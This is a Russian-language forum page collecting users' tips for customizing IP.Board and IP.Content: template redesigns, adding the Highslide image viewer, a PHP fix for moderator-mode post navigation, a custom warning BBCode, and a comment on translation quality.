2 баллаПо умолчанию, шаблон вывода материалов в IP.Content очень простенький и не красивый. Но если зайти в АЦП IP.Content> Templates > Article Templates выбрать один из самых неудачных шаблонов(например Front Page (Single Column)) и немного его подредактировать, то получим более красивый вид. Что я переделал? 1. Ссылка читать полностью теперь в виде кнопки 2. Ссылка на комментарии в виде кнопки 3. Автор, дата и рейтинг переехали выше 4. Название темы запихано в более красивую оболочку и с нее убрана ссылка на тему. 5. Добавлены пробелы между материалами, а так же между вступлением и фотографией. Вот думаю, что бы еще сделать. Но дизайнерского глаза не хватает. доработанный шаблон выглядит так
-
1 балл1) Скачиваем архив со скриптом у офф источника. 2) Архив распаковываем по пути /public/js/3rd_party/ - получаем /public/js/3rd_party/highslide 3) Заходим в АЦ - Ваш шаблон - globalTemplate Ищем: <script type='text/javascript'> //<![CDATA[ Добавляем Выше: Но не забудьте поменять путь на папку! (/public/js/3rd_party/) <script type="text/javascript" src="/highslide/highslide.js"></script> <link rel="stylesheet" type="text/css" href="/highslide/highslide.css" /> <script type="text/javascript"> // override Highslide settings here // instead of editing the highslide.js file hs.graphicsDir = '/highslide/graphics/'; </script> 4) Заходим в АЦ - Ваш шаблон - Темы - Show_attachments_img_thumb Ищем: rel='lightbox[{$data['attach_rel_id']}]' Меняем на: onclick='return hs.expand(this)' 5) Заходим в АЦ - Ваш шаблон - Темы - Show_attachments_img Ищем: rel='lightbox[{$data['attach_rel_id']}]' Меняем на: onclick='return hs.expand(this)' Вот и всё. Аналогично такое проделывается и для IP.Content. Demo
-
1 баллВ списке пользователей на главном экране они цветные (цвет группы), а в темах-сообщениях нет, непорядочек.. файл action_public/topics.php найти //----------------------------------------- // Fix up the membername so it links to the members profile //----------------------------------------- if ( $poster['id'] ) { добавить после $poster['members_display_name_short'] = $this->ipsclass->make_name_formatted( $poster['members_display_name_short'], $poster['mgroup'] );
-
1 баллВ режиме модератора в топиках отображаются скрытые посты, количество которых в топике может быть огромно. Так вот в этом случае, при скрытии нового поста система перекинет модератора на 1 или несколько страниц назад. И модератору снова нужно будет искать то место в топике, с которым он работал. Вот наглядный пример: Тестовая тема имеет 4 странцы в режиме модератора. В данной теме имеется 8 скрытых сообщений. При скрытии поста модератора перекинет на 1 страницу назад. Баг этот происходит из-за некоррктной обработки параметра findpost в режиме модератора. Смело предполагаем, что разработчики снова забыли учесть количество скрытых постов в топике. Но, забегая вперёд, это не совсем так: они учитывают это количество, просто напросто допустили ошибку в определении самого модератора за штурвалом браузера. Баг имеет место и при восстановлении скрытых постов. Исправляем этот баг. Открываем файлик /admin/applications/forums/modules_public/forums/findpost.php на редактирование и ищем в нём такой кодес: 'select' => 't.title_seo', и заменяем его на такой: 'select' => 't.*', Чуть ниже находим такой кодес: $query = ' AND ' . $this->registry->class_forums->fetchPostHiddenQuery('visible'); /* Can we deal with hidden posts? */ if ( $this->registry->class_forums->canQueuePosts( $this->topic['forum_id'] ) ) { if ( $this->permissions['softDeleteSee'] ) { /* See queued and soft deleted */ $query = ''; } else и заменяем его на такой: $sort_field = ($this->settings['post_order_column'] == 'pid') ? 'pid' : 'post_date'; $sort_value = $sort_field == 'pid' ? $pid : $post['post_date']; $query = ''; /* Can we deal with hidden posts? */ if ( $this->registry->class_forums->canQueuePosts( $post['forum_id'] ) ) { $softDeleteSee = $this->registry->getClass('class_forums')->canSeeSoftDeletedPosts( $post['forum_id'] ); if ($softDeleteSee) { /* See queued and soft deleted */ $query = ' AND ' . $this->registry->class_forums->fetchPostHiddenQuery( array( 'approved', 'sdeleted', 'hidden' ) ); } else Из данного кодеса видно, что массив $this->permissions по неизвестной причине не иниализирован. В причинах можете сами разобраться, но мне проще вставить сюда чтение одного элемента этого массива. Так же ниже ищем кодес: $cposts = $this->DB->buildAndFetch( array( 'select' => 'COUNT(*) as posts', 'from' => 'posts', 'where' => "topic_id={$post['topic_id']} AND pid <= {$pid}{$query}" ) ); и заменяем его на такой: if (strlen($query) < 2) $query = ' AND ' . $this->registry->class_forums->fetchPostHiddenQuery('visible'); $cposts = $this->DB->buildAndFetch( array( 'select' => 'COUNT(*) as posts', 'from' => 'posts', 'where' => "topic_id={$post['topic_id']} AND {$sort_field} <=" . intval( $sort_value ) . $query ) ); Заливаем файлик findpost.php на WEB-сервер и проверяем. После данного фикса параметр findpost в режиме модератора будет корректно обрабатываться. И поэтому двигло форума не будет более перекидывать модератора фиг знает куда. PS. Исправление частично взято из IPB 3.3.4 (касательно переменной $sort_value).
-
1 баллЯ ничего не имею против украинского. Но вот данные статистики этого сайта. Среди посетителей украинцы составляют довольно значительную часть – 20% Это много. Но установили украинский язык системным только 2% от общего числа наших посетителей (Украинский, Украина [uk-ua] 1.2% и Украинский [uk] 0.8%) То есть только каждый десятый украинец, посещающий наш сайт, в интернете по умолчанию пользуется мовой. Так вот, если будете делать дрянные переводы, беря за основу не оригинал, а вторичный продукт, коим является довольно некачественный перевод с английского на русский (от ibresource), их станет еще меньше. Добавлю еще, что Английский (США) используется больше, чем украинский (а если добавить все варианты английского, будет еще больше). Источник: Возобновление пароля
-
1 баллПришлось править css и шаблоны, языковые файлы. На мой взгляд, стало хуже, чем было раньше. Но теперь можно "залюбить" чью-то запись. В шапке в меню пользователя оживился пункт избранного содержания. Добавка появилась еще при обновлении шаблонов в 3.1.3, но была неактивна. Ну и в каждой записи блога теперь видно, кто ее залайкал :) Иду править дальше, косяки пока есть, да и ленг файлы еще все не проверила на новые слова.
-
1 баллДавно хотелось, чтобы предупреждения от модераторов выглядели немного красивее, чем просто красные буквы. По этому поводу добавил кастомный BB Code. Действия. Идем в панель управления форумом. Look and feel>Post Content>BBCode Management>Custom BB Codes жмем на add bbcode Заполняем поля для нового кода Custom BBCode - Warning Custom BBCode Example - Custom BBCode Tag - warning В поле Custom BBCode Replacement добавляем <table style='margin:0; width:99%; border:1px solid red;'><tr><td style="background-color: red; vertical-align: middle; text-align:center; width: 1%"> <br /><font color='white' size='+8'><b> ! </b></font><br /></td><td valign='top' cellpadding="5" style="font-weight: bold; font-style: italic; color: red; background: pink; padding: 5px;">{content}</td> </tr></table> Можно поиграться цветами, для соответствия вашему скину. В моем случае стоят цвета красный для значка, розовый для бэкграунда текста. Which groups can use this BBCode? - ВЫбираем административные группы Where can the BBCode be used? - ВЫбираем где будет работать код BB Code Image - Добавляем название файла кнопки. (его необходимо предварительно забросить в папку public/style_images/(ваш скин)/rte_icons/ Сохраняем. Радуемся красоте. менеям цвета и значок ! на * ...получаем А было скучно как-то А вот эту кнопку добавить в форму редактирования поста. Я еще не научился.